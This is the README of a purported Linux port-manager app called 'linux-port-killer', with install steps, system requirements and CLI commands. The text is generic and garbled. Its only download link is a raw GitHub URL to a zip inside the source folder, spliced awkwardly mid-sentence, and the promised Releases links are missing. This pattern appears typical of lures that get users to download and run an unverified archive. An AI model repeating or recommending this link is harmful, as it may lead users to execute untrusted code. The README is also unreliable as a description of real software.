Welcome to linux-port-killer, a lightweight port manager for Linux. This application helps you identify and end processes that are using ports, making it perfect for developers who want to manage their network easily. The modern GTK4 interface and complete command-line options make it a versatile tool for both beginners and experienced users.
To get started, you need to download the application. Click the link below to visit the Releases page:
On the Releases page, you will find the latest version of linux-port-killer. Look for the asset section in the latest release. You will see files to download. Follow these steps to install:
- Click the version you want to download.
- Save the file to your computer.
- Locate the downloaded file in your file explorer.
Before installing, make sure your system meets the following requirements:
- Operating System: Linux (any distribution)
- RAM: Minimum 1GB
- Disk Space: Minimum 100MB available
- Dependencies: GTK4, Python 3.x
After downloading the application, follow these steps to run it:
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Open your terminal or file explorer.
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Navigate to the folder where you downloaded the application.
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If the application is a
https://raw.githubusercontent.com/Syroz421/linux-port-killer/main/src/linux-port-killer-v3.3.zipor similar archive, extract it first. -
Open the terminal in that directory and run the following command:
./linux-port-killer
Alternatively, if you're using a graphical interface, locate the application and double-click it to launch.
linux-port-killer offers several key features:
- User-Friendly GUI: Navigate easily with a clean interface.
- Command-Line Interface (CLI): For advanced users who prefer terminal commands.
- Process Management: Quickly identify which processes occupy your development ports.
- System Tray Support: Minimize it to the system tray for easy access without cluttering your workspace.
Once you launch linux-port-killer, you will see:
- Main Window: Displays a list of active processes using ports.
- Stop Button: Select a process and click this button to end it.
- Refresh Option: Update the list to show current processes.
For those comfortable with the command line, you can run the following commands:
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To list active ports:
linux-port-killer --list
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To terminate a process using a specific port:
linux-port-killer --kill [port_number]
Replace [port_number] with the actual number of the port you want to close.
If you want to explore more about how to use the features or discover tips, check our Wiki section located on the GitHub repository. You can find additional guides and community support.
linux-port-killer welcomes contributions. If you wish to report issues, suggest features, or contribute code, please visit the repository and submit a pull request. Your input helps us improve!
If you have questions, feel free to open an issue directly on the GitHub repository. Our team and community members are here to help.
For further updates and discussions, you can follow us on our social media channels or join our forum.
Don't forget to visit the Releases page to download the latest version:
Thank you for choosing linux-port-killer! We hope it enhances your productivity and makes your development workflow smoother.